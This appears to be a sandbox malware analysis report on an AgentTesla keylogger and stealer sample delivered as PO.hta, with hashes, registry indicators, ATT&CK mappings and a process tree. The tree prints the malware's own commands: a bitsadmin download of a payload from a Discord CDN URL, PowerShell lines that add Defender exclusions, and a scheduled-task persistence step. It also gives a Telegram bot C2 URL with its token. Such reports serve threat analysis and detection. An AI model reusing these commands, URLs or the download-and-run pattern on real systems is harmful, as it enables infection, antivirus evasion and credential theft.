agenttesla | d5bb7f257f07099a70c685865b65e69ad9fa16f2cbaa13b9f8109fa5bd0d7471

General

Target

PO.hta
Size

964B
MD5

89be005919969e877221b7615c6824da
SHA1

0efef178cb51ff43779a0fe864ca02f0d5009dd4
SHA256

d5bb7f257f07099a70c685865b65e69ad9fa16f2cbaa13b9f8109fa5bd0d7471
SHA512

1b166ad46e30c333768d6dae8bf56a88b5b080ce851f2423b6ec430e5761013bc936fb3238300a94b4debe35342c84c20b0cdff89e0b6048e74171bf464504db

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot5590596148:AAFELAezvK26mOp3KWIpAgxEVzQMQ56n6zg/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsSecurity.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsSecurity.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsSecurity.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\JxkFp = "C:\\Users\\Admin\\AppData\\Roaming\\JxkFp\\JxkFp.exe"	WindowsSecurity.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5048 set thread context of 1628	5048	WindowsSecurity.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4348	schtasks.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1620	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2704	powershell.exe
3732	powershell.exe
1628	WindowsSecurity.exe
1628	WindowsSecurity.exe
3732	powershell.exe
2704	powershell.exe
1628	WindowsSecurity.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	1628	WindowsSecurity.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1628	WindowsSecurity.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 1620	2420	mshta.exe	82
PID 2420 wrote to memory of 1620	2420	mshta.exe	82
PID 2420 wrote to memory of 1620	2420	mshta.exe	82
PID 2420 wrote to memory of 5048	2420	mshta.exe	92
PID 2420 wrote to memory of 5048	2420	mshta.exe	92
PID 2420 wrote to memory of 5048	2420	mshta.exe	92
PID 5048 wrote to memory of 3732	5048	WindowsSecurity.exe	95
PID 5048 wrote to memory of 3732	5048	WindowsSecurity.exe	95
PID 5048 wrote to memory of 3732	5048	WindowsSecurity.exe	95
PID 5048 wrote to memory of 2704	5048	WindowsSecurity.exe	97
PID 5048 wrote to memory of 2704	5048	WindowsSecurity.exe	97
PID 5048 wrote to memory of 2704	5048	WindowsSecurity.exe	97
PID 5048 wrote to memory of 4348	5048	WindowsSecurity.exe	99
PID 5048 wrote to memory of 4348	5048	WindowsSecurity.exe	99
PID 5048 wrote to memory of 4348	5048	WindowsSecurity.exe	99
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101
PID 5048 wrote to memory of 1628	5048	WindowsSecurity.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsSecurity.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsSecurity.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\PO.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/1049705463186477077/1059385505445331004/gaming.exe C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe
  2⤵
  - Download via BitsAdmin
  PID:1620
- C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe
  "C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYwVrLHCJwxTV.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYwVrLHCJwxTV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp69C6.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:4348
- - C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - outlook_office_path
    - outlook_win_path
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

BITS Jobs

1

T1197

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

BITS Jobs

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
9a0a928f0fc7a0e51acd067f95fa62cf

SHA1
af1fb523df085a5b7181fab5aa4a2bfd04f5c4f2

SHA256
7639453198bee7675d27279fc920732d95a93371c03dc7d5a88c67fa562684d0

SHA512
65e3a7bb1e6999c8fc1a05394c97f2d5c8b389dbed97be7d736986073c0ef6211efdbeacd6fa09ea07cb561a400176dab888a3b15f287b323957775a1e467304

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp69C6.tmp

Filesize
1KB

MD5
e08634d2662fc29f1f2825d1fa07c886

SHA1
9a9fabf6006d67581fb58bc8139738f52a147720

SHA256
8009458b53b9f3f6a49cdadab7b42b825f6d0d47ce4eaecbcf4127df7bf7d4c5

SHA512
1302d126ac9d3bfc9e366990d55a3c40b44910055caf5efe88dcf9ed324d0ce4b36e2c0e844bdc7265002b13eb344895c0f5dc544bfefaf79566eebe1ae47df3

Download Submit
memory/1628-159-0x0000000006A90000-0x0000000006AE0000-memory.dmp

Filesize
320KB

Download
memory/1628-149-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/2704-147-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/2704-160-0x0000000007930000-0x000000000793E000-memory.dmp

Filesize
56KB

Download
memory/2704-155-0x0000000007D40000-0x00000000083BA000-memory.dmp

Filesize
6.5MB

Download
memory/2704-153-0x0000000073DB0000-0x0000000073DFC000-memory.dmp

Filesize
304KB

Download
memory/2704-151-0x00000000073A0000-0x00000000073D2000-memory.dmp

Filesize
200KB

Download
memory/2704-150-0x00000000063F0000-0x000000000640E000-memory.dmp

Filesize
120KB

Download
memory/3732-152-0x0000000073DB0000-0x0000000073DFC000-memory.dmp

Filesize
304KB

Download
memory/3732-162-0x00000000073A0000-0x00000000073A8000-memory.dmp

Filesize
32KB

Download
memory/3732-161-0x00000000073C0000-0x00000000073DA000-memory.dmp

Filesize
104KB

Download
memory/3732-145-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

Filesize
136KB

Download
memory/3732-146-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/3732-143-0x0000000004F70000-0x0000000005598000-memory.dmp

Filesize
6.2MB

Download
memory/3732-154-0x0000000006330000-0x000000000634E000-memory.dmp

Filesize
120KB

Download
memory/3732-142-0x00000000047C0000-0x00000000047F6000-memory.dmp

Filesize
216KB

Download
memory/3732-156-0x0000000007080000-0x000000000709A000-memory.dmp

Filesize
104KB

Download
memory/3732-157-0x0000000007100000-0x000000000710A000-memory.dmp

Filesize
40KB

Download
memory/3732-158-0x0000000007300000-0x0000000007396000-memory.dmp

Filesize
600KB

Download
memory/5048-138-0x0000000007EC0000-0x0000000007F5C000-memory.dmp

Filesize
624KB

Download
memory/5048-135-0x0000000005C40000-0x00000000061E4000-memory.dmp

Filesize
5.6MB

Download
memory/5048-136-0x0000000005730000-0x00000000057C2000-memory.dmp

Filesize
584KB

Download
memory/5048-137-0x00000000058C0000-0x00000000058CA000-memory.dmp

Filesize
40KB

Download
memory/5048-134-0x0000000000CD0000-0x0000000000D7C000-memory.dmp

Filesize
688KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads